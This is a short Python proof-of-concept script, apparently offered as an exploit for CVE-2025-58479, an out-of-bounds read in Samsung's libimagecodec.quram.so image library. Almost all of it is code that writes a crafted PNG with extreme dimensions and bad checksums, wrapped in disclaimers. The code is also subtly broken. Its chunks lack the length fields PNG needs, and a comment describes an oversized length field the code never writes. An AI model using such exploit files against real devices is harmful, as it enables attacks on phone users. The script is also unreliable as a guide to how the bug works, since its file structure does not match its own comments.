The following code is for security research and authorized testing only.
python
'''
CVE-2025-58479 PoC - Out-of-bounds Read in libimagecodec.quram.so
Note: This is a conceptual PoC for educational and security research purposes only.
Do not use this code for malicious activities.
'''
import struct
import os
def create_malicious_image():
"""
Create a malformed image file that may trigger out-of-bounds read
in Samsung's libimagecodec.quram.so library.
This PoC generates a specially crafted image with:
- Abnormal header that may confuse the parser
- Malformed chunk sizes that could cause boundary violations
- Invalid dimension values
"""
# PNG signature
png_sig = b'\x89PNG\r\n\x1a\n'
# IHDR chunk with potentially invalid dimensions
# Width and height set to extreme values to trigger bounds check bypass
ihdr_data = struct.pack('>II', 0x7FFFFFFF, 0x7FFFFFFF) # Max int dimensions
ihdr_data += struct.pack('>BBBBB', 8, 6, 0, 0, 0) # Bit depth, color type, etc.
ihdr_chunk = b'IHDR' + ihdr_data
ihdr_crc = struct.pack('>I', 0xDEADBEEF) # Invalid CRC
# Crafted IDAT chunk with oversized data length field
# This may cause the parser to read beyond allocated buffer
malicious_data = b'\x00' * 1024 + b'\xFF' * 256
idat_chunk = b'IDAT' + malicious_data
idat_crc = struct.pack('>I', 0xCAFEBABE) # Invalid CRC
# IEND chunk
iend_chunk = b'IEND' + b''
iend_crc = struct.pack('>I', 0xAE426082)
# Combine chunks
malicious_png = png_sig + ihdr_chunk + ihdr_crc + idat_chunk + idat_crc + iend_chunk + iend_crc
return malicious_png
def save_poc_file(filename='CVE-2025-58479_poc.png'):
"""Save the PoC image file"""
poc_data = create_malicious_image()
with open(filename, 'wb') as f:
f.write(poc_data)
print(f'[+] PoC file created: {filename}')
print(f'[+] File size: {len(poc_data)} bytes')
print('[!] This file is designed to trigger CVE-2025-58479')
print('[!] Do not open with Samsung devices running vulnerable firmware')
if __name__ == '__main__':
save_poc_file()